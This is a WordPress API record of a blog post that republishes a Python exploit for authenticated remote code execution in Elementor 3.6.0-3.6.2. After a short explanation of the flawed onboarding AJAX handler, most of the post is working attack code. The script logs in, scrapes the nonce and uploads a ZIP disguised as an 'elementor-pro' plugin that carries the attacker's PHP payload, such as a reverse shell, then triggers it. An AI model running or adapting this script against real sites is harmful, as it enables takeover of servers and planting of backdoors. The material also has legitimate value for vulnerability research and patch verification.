{"id":23391,"date":"2022-04-19T20:30:01","date_gmt":"2022-04-19T16:30:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166756\/wpelementor36-exec.txt"},"modified":"2022-05-11T09:24:08","modified_gmt":"2022-05-11T04:54:08","slug":"wordpress-elementor-3-6-2-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-elementor-3-6-2-shell-upload\/","title":{"rendered":"WordPress Elementor 3.6.2 Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: WordPress Plugin Elementor 3.6.2 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 04\/16\/2022<br \/>\n# Exploit Author: AkuCyberSec (https:\/\/github.com\/AkuCyberSec)<br \/>\n# Vendor Homepage: https:\/\/elementor.com\/<br \/>\n# Software Link: https:\/\/wordpress.org\/plugins\/elementor\/advanced\/ (scroll down to select the version)<br \/>\n# Version: 3.6.0, 3.6.1, 3.62<br \/>\n# Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload)<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python<br \/>\nimport requests<br \/>\nimport re<\/p>\n<p dir=\"ltr\"># WARNING: This exploit does NOT include the payload.<br \/>\n# Also, be sure you already have some valid credentials. This exploit needs an account in order to work.<\/p>\n<p dir=\"ltr\"># # # # # VULNERABILITY DESCRIPTION # # # # #<br \/>\n# The WordPress plugin called Elementor (v. 3.6.0, 3.6.1, 3.6.2) has a vulnerability that allows any authenticated user to upload and execute any PHP file.<br \/>\n# This vulnerability, in the OWASP TOP 10 2021, is placed in position #1 (Broken Access Control)<br \/>\n# The file that contains this vulnerability is elementor\/core\/app\/modules\/onboarding\/module.php<br \/>\n#<br \/>\n# At the end of this file you can find this code:<br \/>\n# add_action( &#8216;admin_init&#8217;, function() {<br \/>\n# if ( wp_doing_ajax() &amp;&amp;<br \/>\n# isset( $_POST[&#8216;action&#8217;] ) &amp;&amp;<br \/>\n# isset( $_POST[&#8216;_nonce&#8217;] ) &amp;&amp;<br \/>\n# wp_verify_nonce( $_POST[&#8216;_nonce&#8217;], Ajax::NONCE_KEY )<br \/>\n# ) {<br \/>\n# $this-&gt;maybe_handle_ajax();<br \/>\n# }<br \/>\n# } );<br \/>\n#<br \/>\n# This code is triggered whenever ANY user account visits \/wp-admin<br \/>\n# In order to work we need the following 4 things:<br \/>\n# 1. The call must be an &#8220;ajax call&#8221; (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call \/wp-admin\/admin-ajax.php<br \/>\n# 2. The parameter &#8220;action&#8221; must be &#8220;elementor_upload_and_install_pro&#8221; (check out the function named maybe_handle_ajax() in the same file)<br \/>\n# 3. The parameter &#8220;_nonce&#8221; must be retrieved after login by inspecting the \/wp-admin page (this exploit does this in DoLogin function)<br \/>\n# 4. The parameter &#8220;fileToUpload&#8221; must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file)<br \/>\n#<br \/>\n# The file we upload must have the following structure:<br \/>\n# 1. It must be a ZIP file. You can name it as you want.<br \/>\n# 2. It must contain a folder called &#8220;elementor-pro&#8221;<br \/>\n# 3. This folder must contain a file named &#8220;elementor-pro.php&#8221;<br \/>\n# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)<br \/>\n#<br \/>\n# WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload.<br \/>\n# If it tries, for example, to connect to an offline host, it could lead to a Denial of Service.<br \/>\n# In order to prevent this, I suggest you to use some variable to activate the payload.<br \/>\n# Something like this (visit anypage.php?activate=1 in order to continue with the actual payload):<br \/>\n# if (!isset($_GET[&#8216;activate&#8217;]))<br \/>\n# return;<\/p>\n<p dir=\"ltr\"># Change the following 4 variables:<br \/>\npayloadFileName = &#8216;elementor-pro.zip&#8217; # Change this with the path of the ZIP archive that contains your payload<br \/>\nbaseUrl = &#8216;http:\/\/192.168.56.103\/wordpress\/&#8217; # Change this with the base url of the target<br \/>\nusername = &#8216;guest&#8217; # Change this with the username you want to use to log in<br \/>\npassword = &#8216;test&#8217; # Change this with the password you want to use to log in<br \/>\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #<\/p>\n<p dir=\"ltr\">session = requests.Session()<br \/>\ncookies = { &#8216;wordpress_test_cookie&#8217; : &#8216;WP+Cookie+check&#8217; } # WordPress needs this to tell if browser can manage cookies<\/p>\n<p dir=\"ltr\">def DoLogin(username, password):<br \/>\nglobal cookies<br \/>\nloginUrl = baseUrl + &#8216;wp-login.php&#8217;<br \/>\nadminUrl = baseUrl + &#8216;wp-admin\/&#8217;<br \/>\ndata = { &#8216;log&#8217; : username, &#8216;pwd&#8217; : password, &#8216;wp-submit&#8217; : &#8216;Login&#8217;, &#8216;redirect_to&#8217; : adminUrl, &#8216;testcookie&#8217; : 1 }<\/p>\n<p dir=\"ltr\"># search for: &#8220;ajax&#8221;:{&#8220;url&#8221;:&#8221;http:\\\/\\\/baseUrl\\\/wp-admin\\\/admin-ajax.php&#8221;,&#8221;nonce&#8221;:&#8221;4e8878bdba&#8221;}<br \/>\n# 4e8878bdba is just an example of nonce. It can be anything else.<br \/>\nregexp = re.compile(&#8216;&#8221;ajax&#8221;:\\\\{&#8220;url&#8221;:&#8221;.+admin\\\\-ajax\\\\.php&#8221;,&#8221;nonce&#8221;:&#8221;(.+)&#8221;\\\\}&#8217;)<br \/>\nresponse = session.post(loginUrl, cookies=cookies, data=data)<\/p>\n<p dir=\"ltr\">search = regexp.search(response.text)<\/p>\n<p dir=\"ltr\">if not search:<br \/>\n# I&#8217;ve tested this on WordPress v. 5.9.3<br \/>\n# Fix the regexp if needed.<br \/>\nprint(&#8216;Error &#8211; Invalid credentials?&#8217;)<br \/>\n#print(response.text)<br \/>\nelse:<br \/>\nreturn search.group(1)<\/p>\n<p dir=\"ltr\">def UploadFile(fileName, nonce):<br \/>\nuploadUrl = baseUrl + &#8216;wp-admin\/admin-ajax.php&#8217;<br \/>\ndata = { &#8216;action&#8217; : &#8216;elementor_upload_and_install_pro&#8217;, &#8216;_nonce&#8217; : nonce }<br \/>\nfiles = { &#8216;fileToUpload&#8217; : open(fileName, &#8216;rb&#8217;) }<br \/>\nregexp = re.compile(&#8216;&#8221;elementorProInstalled&#8221;:true&#8217;) # search for: &#8220;elementorProInstalled&#8221;:true<br \/>\nresponse = session.post(uploadUrl, data=data, files=files)<\/p>\n<p dir=\"ltr\">search = regexp.search(response.text)<\/p>\n<p dir=\"ltr\">if not search:<br \/>\n# If Elemento Pro is already installed, the upload will fail.<br \/>\n# You can print the response to investigate further<br \/>\nprint (&#8216;Error &#8211; Upload failed&#8217;)<br \/>\n# print (response.text)<br \/>\nreturn False<br \/>\nelse:<br \/>\nprint (&#8216;Upload completed successfully!&#8217;)<br \/>\nreturn True<\/p>\n<p dir=\"ltr\"># Define YOUR method to activate your payload (if needed)<br \/>\ndef ActivatePayload():<br \/>\npayloadUrl = baseUrl + &#8216;index.php?activate=1&#8217;<br \/>\nsession.get(payloadUrl)<\/p>\n<p dir=\"ltr\">print(&#8216;Trying to login&#8230;&#8217;)<br \/>\nnonce = DoLogin(username, password)<br \/>\nprint(&#8216;Nonce found: &#8216; + nonce)<\/p>\n<p dir=\"ltr\">print(&#8216;Uploading payload&#8230;&#8217;)<br \/>\nfileUploaded = UploadFile(payloadFileName, nonce)<\/p>\n<p dir=\"ltr\"># Define YOUR method to activate your payload (if needed)<br \/>\nif fileUploaded:<br \/>\nprint (&#8216;Activating payload&#8230;&#8217;)<br \/>\nActivatePayload()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin Elementor 3.6.2 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 04\/16\/2022 # Exploit Author: AkuCyberSec (https:\/\/github.com\/AkuCyberSec) # Vendor Homepage: https:\/\/elementor.com\/ # Software Link: https:\/\/wordpress.org\/plugins\/elementor\/advanced\/ (scroll down to select the version) # Version: 3.6.0, 3.6.1, 3.62 # Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload) #!\/usr\/bin\/python &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23391","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23391","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23391"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23391\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}